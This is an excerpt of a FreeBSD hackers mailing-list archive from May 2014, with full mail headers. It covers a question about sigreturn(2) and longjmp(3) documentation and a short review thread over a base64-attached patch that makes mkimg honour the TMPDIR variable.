mx1.freebsd.org (Postfix) with SMTP id C3DD82642 for ; Thu, 22 May 2014 14:13:51 +0000 (UTC) Received: from mail-ig0-f181.google.com ([209.85.213.181]) (using TLSv1) by na3sys010aob103.postini.com ([74.125.244.12]) with SMTP ID DSNKU34GH4oh4zFo7ny3vJFvWZ5uLuc+Wek+@postini.com; Thu, 22 May 2014 07:13:51 PDT Received: by mail-ig0-f181.google.com with SMTP id h3so3573938igd.2 for ; Thu, 22 May 2014 07:13:51 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:from:date:message-id:subject:to :content-type; bh=CLDqLxaKziRpFrudnntnYKzW9DHGV9ABqp2nfBxZX1w=; b=Wy86fNFPNC6FNunJEe+8g7/U4W3S9MPZBwkkJjadDd+sgtv7UZNzD6ve4Ak/+jsDtQ 5YFl4buBd6gVlNPIw2LDp650WPaWiQ1lefcCfiiPj4NWid5Ujx+06uElsmHIcGcIv3V3 WwPgWJJ43O0UIkqccWHtMRJy/aM09d2gTf3P2j2iMfSnTsG4V0zOKwFh2UZxXEkyR3UV yAzF/nCyKjxPkNZ9Yf4sKt1/Lvu2qWXNKiZ2XW8Y2JOfRxdlyLan3rKRxmKj5UMNz7MV dnGwcmNzW3oyq3/qQNB//lsoRG3JGf1bq1TpGGkCEcdJixNeq9KjGaFkL+qsQf6Z9y3P 1iJQ== X-Received: by 10.50.80.10 with SMTP id n10mr22507050igx.40.1400766603337; Thu, 22 May 2014 06:50:03 -0700 (PDT) X-Gm-Message-State: ALoCoQn7EEkodYdY6h/6oItIhjRogynl7gG07e/xphAglTN7Uts5KIUE75d5tDRvGZyVwCLZDiQU39zGk6TG3V97eJ6jjYf0TIs4nzY3BAbACSEb/JLvzd+Cu5gcCJiCvaUK/WJeIRyNnvfQhs0sXHrlr/2W3LDWAQ== X-Received: by 10.50.80.10 with SMTP id n10mr22507026igx.40.1400766603181; Thu, 22 May 2014 06:50:03 -0700 (PDT) MIME-Version: 1.0 Received: by 10.50.70.5 with HTTP; Thu, 22 May 2014 06:49:42 -0700 (PDT) From: Keno Fischer Date: Thu, 22 May 2014 15:49:42 +0200 Message-ID: Subject: Use of sigreturn(2) in longjmp(3). To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 14:13:52 -0000 Hello, The sigreturn manpage states: "This system call is used by the trampoline code and longjmp(3) when returning from a signal to the previously executing program". Now, I saw the system call in sigtramp.s, but I looked at setjmp.s can't find how longjmp does this. Am I missing something totally obvious? Thanks, Keno From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 15:09:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 374E137A for ; Thu, 22 May 2014 15:09:35 +0000 (UTC) Received: from mail-qg0-x234.google.com (mail-qg0-x234.google.com [IPv6:2607:f8b0:400d:c04::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id ECC7B2B3D for ; Thu, 22 May 2014 15:09:34 +0000 (UTC) Received: by mail-qg0-f52.google.com with SMTP id a108so5966322qge.11 for ; Thu, 22 May 2014 08:09:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=PK+zOlIEJ2ca0/D92Bjrrt5DxDDFDTBUsfVCiXLaozQ=; b=UKiSVk+e6G1o8nodk1IcTiVgRJp+uyDk+46ZHyFp6VITKegxKEf6xAUQsaQ6BC5zhn 2iBzLS2uExY+4Oj0ZCXM/MZEhxs6c9EfqZ7V8slLxOfy+nFXrEv+yUt010e4ULmGd+cP Fz7NlVSL6UAheOJ00gqG5SeGK8qG+bf4rGo9MikIAOrcP3blxjXORSikzRvUZ7x7I6+Y yCSP3X/y2bd0ya+o25HoOnACLmsDFS6DeWQ2BEcN1oJbbeStZYDhgH36pkBbUTgISzex XSluZAe4b3p2LHlibZy7mjM4+rPJRGibNqBM8pnY9N3prbkeAQ163YE/0PCtAPoj6ShT hymw== MIME-Version: 1.0 X-Received: by 10.224.55.83 with SMTP id t19mr80266798qag.42.1400771374099; Thu, 22 May 2014 08:09:34 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 08:09:34 -0700 (PDT) Date: Thu, 22 May 2014 09:09:34 -0600 Message-ID: Subject: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: "freebsd-hackers@freebsd.org" Content-Type: multipart/mixed; boundary=047d7b5daf782a904304f9fe8087 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 15:09:35 -0000 --047d7b5daf782a904304f9fe8087 Content-Type: text/plain; charset=UTF-8 Hello everyone, I was running out of room in /tmp on my system while using mkimg getting this error: partition 1: starting block 16 ... mkimg: partition 1: No space left on device So, I patched mkimg to respect the TMPDIR variable. Thoughts? Dan --047d7b5daf782a904304f9fe8087 Content-Type: text/x-patch; charset=UTF-8; name="mkimg.patch" Content-Disposition: attachment; filename="mkimg.patch" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hvi73n3u0 SW5kZXg6IHVzci5iaW4vbWtpbWcvaW1hZ2UuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSB1c3IuYmluL21raW1n L2ltYWdlLmMJKHLDqXZpc2lvbiAyNjY0OTYpCisrKyB1c3IuYmluL21raW1nL2ltYWdlLmMJKGNv cGllIGRlIHRyYXZhaWwpCkBAIC0zMCw2ICszMCw5IEBACiAjaW5jbHVkZSA8c3lzL3R5cGVzLmg+ CiAjaW5jbHVkZSA8YXNzZXJ0Lmg+CiAjaW5jbHVkZSA8ZXJybm8uaD4KKyNpbmNsdWRlIDxsaW1p dHMuaD4KKyNpbmNsdWRlIDxwYXRocy5oPgorI2luY2x1ZGUgPHN0ZGlvLmg+CiAjaW5jbHVkZSA8 c3RkbGliLmg+CiAjaW5jbHVkZSA8dW5pc3RkLmg+CiAKQEAgLTM4LDcgKzQxLDcgQEAKIAogI2Rl ZmluZQlCVUZGRVJfU0laRQkoMTAyNCoxMDI0KQogCi1zdGF0aWMgY2hhciBpbWFnZV90bXBmaWxl W10gPSAiL3RtcC9ta2ltZy1YWFhYWFgiOworc3RhdGljIGNoYXIgaW1hZ2VfdG1wZmlsZVtQQVRI X01BWF07CiBzdGF0aWMgaW50IGltYWdlX2ZkID0gLTE7CiBzdGF0aWMgbGJhX3QgaW1hZ2Vfc2l6 ZTsKIApAQCAtMTU3LDkgKzE2MCwxMyBAQAogaW50CiBpbWFnZV9pbml0KHZvaWQpCiB7CisJY29u c3QJY2hhciAqdG1wZGlyOwogCiAJaWYgKGF0ZXhpdChjbGVhbnVwKSA9PSAtMSkKIAkJcmV0dXJu IChlcnJubyk7CisJaWYgKCh0bXBkaXIgPSBnZXRlbnYoIlRNUERJUiIpKSA9PSBOVUxMIHx8ICp0 bXBkaXIgPT0gJ1wwJykKKwkJdG1wZGlyID0gX1BBVEhfVE1QOworCXNucHJpbnRmKGltYWdlX3Rt cGZpbGUsIHNpemVvZihpbWFnZV90bXBmaWxlKSwgIiVzL21raW1nLVhYWFhYWCIsIHRtcGRpcik7 CiAJaW1hZ2VfZmQgPSBta3N0ZW1wKGltYWdlX3RtcGZpbGUpOwogCWlmIChpbWFnZV9mZCA9PSAt MSkKIAkJcmV0dXJuIChlcnJubyk7Cg== --047d7b5daf782a904304f9fe8087-- From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 15:21:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 68249713 for ; Thu, 22 May 2014 15:21:30 +0000 (UTC) Received: from mail-wi0-x22d.google.com (mail-wi0-x22d.google.com [IPv6:2a00:1450:400c:c05::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 042AB2CD3 for ; Thu, 22 May 2014 15:21:29 +0000 (UTC) Received: by mail-wi0-f173.google.com with SMTP id bs8so9434620wib.12 for ; Thu, 22 May 2014 08:21:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=803Jb3TbYZbNJuwddLGie5t2AKjB0zKdwuWwFEI1jzE=; b=rAX3T5rQgq2XDZ9FgYERMiVBCu1z9N0quExBL1KzmYL7nCKolVuUPCe4PwQiLMnJ80 AB1fpfRTJLizh+NlCVp5GJqHMdz5V6OW+AiHZX9RkhdPRs8NZPHEnfutMnPSAuYa/Z+V VdJWcBX18H80Y2kZxgUYW5RAoYOf8yI8HAMjYl1czwIMQsPKjh86S8sja1Sl9qSh4QDl 5nLzdICPUzQcNf2ZZ6wSp4ODRrrrFB8V/j0HUi50ln0DmErb1/yuAPlIiq+OixI2voju 11QPLZ71qkMa5hnD5MzBwPVZ4SIwQfRVQdgNKwLSNCCX7Iy2zniSJtimzfy293IZgu4Z KjZA== MIME-Version: 1.0 X-Received: by 10.194.119.34 with SMTP id kr2mr51787709wjb.34.1400772088260; Thu, 22 May 2014 08:21:28 -0700 (PDT) Sender: asomers@gmail.com Received: by 10.194.168.130 with HTTP; Thu, 22 May 2014 08:21:28 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 09:21:28 -0600 X-Google-Sender-Auth: dF3yi8WWJS7iv3p0LB6qysNINPg Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Alan Somers To: Dan McGregor Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 15:21:30 -0000 On Thu, May 22, 2014 at 9:09 AM, Dan McGregor wrote: > Hello everyone, > > I was running out of room in /tmp on my system while using mkimg getting > this error: > > partition 1: starting block 16 ... mkimg: partition 1: No space left on > device > > So, I patched mkimg to respect the TMPDIR variable. > > Thoughts? LGTM. Will you update the man page too? > > Dan > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 15:25:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7DD9884E for ; Thu, 22 May 2014 15:25:43 +0000 (UTC) Received: from dmz-mailsec-scanner-4.mit.edu (dmz-mailsec-scanner-4.mit.edu [18.9.25.15]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 05AE02D09 for ; Thu, 22 May 2014 15:25:42 +0000 (UTC) X-AuditID: 1209190f-f790b6d000000c38-a7-537e16ef8b0a Received: from mailhub-auth-2.mit.edu ( [18.7.62.36]) (using TLS with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by dmz-mailsec-scanner-4.mit.edu (Symantec Messaging Gateway) with SMTP id EE.D8.03128.FE61E735; Thu, 22 May 2014 11:25:35 -0400 (EDT) Received: from outgoing.mit.edu (outgoing-auth-1.mit.edu [18.9.28.11]) by mailhub-auth-2.mit.edu (8.13.8/8.9.2) with ESMTP id s4MFPYlp016787; Thu, 22 May 2014 11:25:35 -0400 Received: from multics.mit.edu (system-low-sipb.mit.edu [18.187.2.37]) (authenticated bits=56) (User authenticated as kaduk@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.8/8.12.4) with ESMTP id s4MFPWeX023984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 22 May 2014 11:25:34 -0400 Received: (from kaduk@localhost) by multics.mit.edu (8.12.9.20060308) id s4MFPWot012262; Thu, 22 May 2014 11:25:32 -0400 (EDT) Date: Thu, 22 May 2014 11:25:32 -0400 (EDT) From: Benjamin Kaduk To: Keno Fischer Subject: Re: Use of sigreturn(2) in longjmp(3). In-Reply-To: Message-ID: References: User-Agent: Alpine 1.10 (GSO 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrDIsWRmVeSWpSXmKPExsUixG6novterC7Y4MoBZYvtm/8xWtx6eJbZ gclj08xQjxmf5rMEMEVx2aSk5mSWpRbp2yVwZayZvpO94BFLRdf1t0wNjE+Zuxg5OSQETCSO Xd7IAmGLSVy4t56ti5GLQ0hgNpPE1XlXWSCcjYwSz86sYIdwDjFJbJraywrhNDBK7HoymQ2k n0VAW+JOx3VGEJtNQEVi5puNYHERAX2J2zfWs4LYzALyEhc2HwKrEQaKL/t9iQnE5hQIlNj5 8SLQTRwcvAKOEge3JIGEhQQCJB5872UHsUUFdCRW758CdiqvgKDEyZlPWCBGWkqc+3OdbQKj 4CwkqVlIUgsYmVYxyqbkVunmJmbmFKcm6xYnJ+blpRbpmujlZpbopaaUbmIEBSqnJP8Oxm8H lQ4xCnAwKvHwWrDWBQuxJpYVV+YeYpTkYFIS5Q1mAwrxJeWnVGYkFmfEF5XmpBYfYpTgYFYS 4W0SAcrxpiRWVqUW5cOkpDlYlMR531pbBQsJpCeWpGanphakFsFkZTg4lCR4U4ARKSRYlJqe WpGWmVOCkGbi4AQZzgM0vBNseHFBYm5xZjpE/hSjopQ470+QhABIIqM0D64XlkheMYoDvSLM 6wiyggeYhOC6XwENZgIa/GJhLcjgkkSElFQDY3H4z+ldFnUTTPdN/tfsPUmwYn/WO/vJFw/P SQ2Rvbz9R6qw0VNuroRNe62S01a1f17WvedNxmuLgzKfdn5qcDp4ed+318dYqhdKFYbt8bJp fez2Qmrx2/SCL+d0Jc5cuHlYzVJLZrrq/hMz6+OTuMrq68UnJyR/Fdiyv9Xi4ONTtz+yX5ha 66TEUpyRaKjFXFScCAAPHbZn/wIAAA== Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 15:25:43 -0000 On Thu, 22 May 2014, Keno Fischer wrote: > Hello, > > The sigreturn manpage states: > > "This system call is used by the trampoline code and longjmp(3) when > returning from a signal to the previously executing program". > > Now, I saw the system call in sigtramp.s, but I looked at setjmp.s can't > find how longjmp does this. Am I missing something totally obvious? I expect this is just stale documentation. Unfortunately, some quick poking at the svn log for sys/i386/i386/support.s does not make it immediately clear when the code changed to not match the documentation. -Ben Kaduk From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 15:31:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 98CEBFB7; Thu, 22 May 2014 15:31:32 +0000 (UTC) Received: from mail-qg0-x236.google.com (mail-qg0-x236.google.com [IPv6:2607:f8b0:400d:c04::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 48EF82DD3; Thu, 22 May 2014 15:31:32 +0000 (UTC) Received: by mail-qg0-f54.google.com with SMTP id q108so5942003qgd.13 for ; Thu, 22 May 2014 08:31:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=JDe4PLcwji46aduhY3c9vG/q4Jcg7i7ZWKW4W5yfr1Y=; b=ldFbVLD8IdesKPTBiXzemUn1xTlZfdiJBCLFL6aKxsksrGVnu9JYL7auGPCzP0bFGC lP3j4ASNngEXbsL6MEDyGFPaw7RXqzF28dF2H+31Io5vNqlawrdxliIYowgu5aeBZqte yq+6wMMoRAi9CnLc0OlSQFZIk26ReSjwiF3tJJv25BaXX64QYdGKC2sKACLNhctxtkxu 7PRr6jPRWzHafvFC9cpk26Rrg1VWCmYSdnEM5wIca+CfYdx+0I9GHBwp3OaKMJ7iRVL9 RCcSf1bFrnRZF3uEO44jZIRAwVkurKObbDnd5APijGKQvRGV7PM8SdQRS6vqLK8VmNva zFxA== MIME-Version: 1.0 X-Received: by 10.224.103.129 with SMTP id k1mr79945625qao.62.1400772691444; Thu, 22 May 2014 08:31:31 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 08:31:31 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 09:31:31 -0600 Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: Alan Somers Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 15:31:32 -0000 On 22 May 2014 09:21, Alan Somers wrote: > On Thu, May 22, 2014 at 9:09 AM, Dan McGregor > wrote: > > Hello everyone, > > > > I was running out of room in /tmp on my system while using mkimg getting > > this error: > > > > partition 1: starting block 16 ... mkimg: partition 1: No space left on > > device > > > > So, I patched mkimg to respect the TMPDIR variable. > > > > Thoughts? > > LGTM. Will you update the man page too? > > I hadn't thought of of that. I shall and post a new patch. Dan From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 15:45:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 37DFF96F; Thu, 22 May 2014 15:45:52 +0000 (UTC) Received: from mail-qc0-x234.google.com (mail-qc0-x234.google.com [IPv6:2607:f8b0:400d:c01::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D71E42F29; Thu, 22 May 2014 15:45:51 +0000 (UTC) Received: by mail-qc0-f180.google.com with SMTP id i17so6101864qcy.11 for ; Thu, 22 May 2014 08:45:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=YRT5+IK44rk3IR21VcncwkuuaSRjs0sFPOtxdehiWfU=; b=TAL9IKEhoGo/9Q7GfwmTfEei4HFcP6Hp0ZujFPXFEHblUTlNvxXqy4FabpW2X8fW3h jg8nQSTBoApwBwcRwtOe0ycGzXyIr8hpHXhV3m/ZiVul0XxYXikQPFLVW9SrxJJfPKj7 kYgV1LnCXxRP1cDMCO3im/agtF7CXUIK0iSGsori3looAtPZoVIU5NDYFQWQyGK16RSw /W/D6Cdc9IGnjtakzQ4bU9atdQtUn2HecD9MBkv54YJwAAJ4OfPcBTPPYbYGXq/+H6ZC Uj1FZW+QJIehhr4e+SprtRDmMTr6bEmLYdMtVvFjiSZM4+q27sRm7A9QjwojScVobTZU o/OA== MIME-Version: 1.0 X-Received: by 10.224.162.210 with SMTP id w18mr49061819qax.21.1400773550794; Thu, 22 May 2014 08:45:50 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 08:45:50 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 09:45:50 -0600 Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: Alan Somers , marcelm@juniper.net Content-Type: multipart/mixed; boundary=089e014948fae8341004f9ff0140 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 15:45:52 -0000 --089e014948fae8341004f9ff0140 Content-Type: text/plain; charset=UTF-8 On 22 May 2014 09:31, Dan McGregor wrote: > On 22 May 2014 09:21, Alan Somers wrote: > >> On Thu, May 22, 2014 at 9:09 AM, Dan McGregor >> wrote: >> > Hello everyone, >> > >> > I was running out of room in /tmp on my system while using mkimg getting >> > this error: >> > >> > partition 1: starting block 16 ... mkimg: partition 1: No space left on >> > device >> > >> > So, I patched mkimg to respect the TMPDIR variable. >> > >> > Thoughts? >> >> LGTM. Will you update the man page too? >> >> > I hadn't thought of of that. I shall and post a new patch. > New patch, with man page updates as well. --089e014948fae8341004f9ff0140 Content-Type: text/x-patch; charset=UTF-8; name="mkimg.patch" Content-Disposition: attachment; filename="mkimg.patch" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hvi8eej50 SW5kZXg6IHVzci5iaW4vbWtpbWcvaW1hZ2UuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSB1c3IuYmluL21raW1n L2ltYWdlLmMJKHLDqXZpc2lvbiAyNjY1NDMpCisrKyB1c3IuYmluL21raW1nL2ltYWdlLmMJKGNv cGllIGRlIHRyYXZhaWwpCkBAIC0zMCw2ICszMCw5IEBACiAjaW5jbHVkZSA8c3lzL3R5cGVzLmg+ CiAjaW5jbHVkZSA8YXNzZXJ0Lmg+CiAjaW5jbHVkZSA8ZXJybm8uaD4KKyNpbmNsdWRlIDxsaW1p dHMuaD4KKyNpbmNsdWRlIDxwYXRocy5oPgorI2luY2x1ZGUgPHN0ZGlvLmg+CiAjaW5jbHVkZSA8 c3RkbGliLmg+CiAjaW5jbHVkZSA8dW5pc3RkLmg+CiAKQEAgLTM4LDcgKzQxLDcgQEAKIAogI2Rl ZmluZQlCVUZGRVJfU0laRQkoMTAyNCoxMDI0KQogCi1zdGF0aWMgY2hhciBpbWFnZV90bXBmaWxl W10gPSAiL3RtcC9ta2ltZy1YWFhYWFgiOworc3RhdGljIGNoYXIgaW1hZ2VfdG1wZmlsZVtQQVRI X01BWF07CiBzdGF0aWMgaW50IGltYWdlX2ZkID0gLTE7CiBzdGF0aWMgbGJhX3QgaW1hZ2Vfc2l6 ZTsKIApAQCAtMTYxLDkgKzE2NCwxMyBAQAogaW50CiBpbWFnZV9pbml0KHZvaWQpCiB7CisJY29u c3QJY2hhciAqdG1wZGlyOwogCiAJaWYgKGF0ZXhpdChjbGVhbnVwKSA9PSAtMSkKIAkJcmV0dXJu IChlcnJubyk7CisJaWYgKCh0bXBkaXIgPSBnZXRlbnYoIlRNUERJUiIpKSA9PSBOVUxMIHx8ICp0 bXBkaXIgPT0gJ1wwJykKKwkJdG1wZGlyID0gX1BBVEhfVE1QOworCXNucHJpbnRmKGltYWdlX3Rt cGZpbGUsIHNpemVvZihpbWFnZV90bXBmaWxlKSwgIiVzL21raW1nLVhYWFhYWCIsIHRtcGRpcik7 CiAJaW1hZ2VfZmQgPSBta3N0ZW1wKGltYWdlX3RtcGZpbGUpOwogCWlmIChpbWFnZV9mZCA9PSAt MSkKIAkJcmV0dXJuIChlcnJubyk7CkluZGV4OiB1c3IuYmluL21raW1nL21raW1nLjEKPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PQotLS0gdXNyLmJpbi9ta2ltZy9ta2ltZy4xCShyw6l2aXNpb24gMjY2NTQzKQorKysgdXNy LmJpbi9ta2ltZy9ta2ltZy4xCShjb3BpZSBkZSB0cmF2YWlsKQpAQCAtMTU5LDYgKzE1OSwxNiBA QAogdXRpbGl0eSBzdXBwb3J0cyBhc3NpZ25pbmcgbGFiZWxzIHRvIHRoZSBwYXJ0aXRpb25zIHNw ZWNpZmllZC4KIEluIHRoZSBmb2xsb3dpbmcgZXhhbXBsZSB0aGUgZmlsZSBzeXN0ZW0gcGFydGl0 aW9uIGlzIGxhYmVsZWQgYXMgJ2JhY2t1cCc6CiAuRGwgJSBta2ltZyAtcyBncHQgLXAgZnJlZWJz ZC11ZnMvYmFja3VwOj1maWxlLXN5c3RlbS51ZnMgLW8gZ3B0LmltZworLlNoIEVOVklST05NRU5U CisuQmwgLXRhZyAtd2lkdGggIlRNUERJUiIgLWNvbXBhY3QKKy5JdCBFdiBUTVBESVIKK0RpcmVj dG9yeSB0byBwdXQgdGVtcG9yYXJ5IGZpbGVzIGluOyBkZWZhdWx0IGlzCisuUGEgL3RtcCAuCisu U2ggRklMRVMKKy5CbCAtdGFnIC13aWR0aCAiJFRNUERJUi9ta2ltZy0qIiAtY29tcGFjdAorLkl0 ICRUTVBESVIvbWtpbWctKgorLk5tCit0ZW1wb3JhcnkgZmlsZXMKIC5TaCBTRUUgQUxTTwogLlhy IGdwYXJ0IDgKIC5YciBtYWtlZnMgOAo= --089e014948fae8341004f9ff0140-- From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 15:54:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 17524EC5 for ; Thu, 22 May 2014 15:54:31 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id AD3A02036 for ; Thu, 22 May 2014 15:54:30 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s4MFsJum012789; Thu, 22 May 2014 18:54:19 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s4MFsJum012789 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s4MFsIjX012788; Thu, 22 May 2014 18:54:18 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Thu, 22 May 2014 18:54:18 +0300 From: Konstantin Belousov To: Benjamin Kaduk Subject: Re: Use of sigreturn(2) in longjmp(3). Message-ID: <20140522155418.GX74331@kib.kiev.ua> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5c2rcFySGndwecVE" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: Keno Fischer , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 15:54:31 -0000 --5c2rcFySGndwecVE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, May 22, 2014 at 11:25:32AM -0400, Benjamin Kaduk wrote: > On Thu, 22 May 2014, Keno Fischer wrote: >=20 > > Hello, > > > > The sigreturn manpage states: > > > > "This system call is used by the trampoline code and longjmp(3) when > > returning from a signal to the previously executing program". > > > > Now, I saw the system call in sigtramp.s, but I looked at setjmp.s can't > > find how longjmp does this. 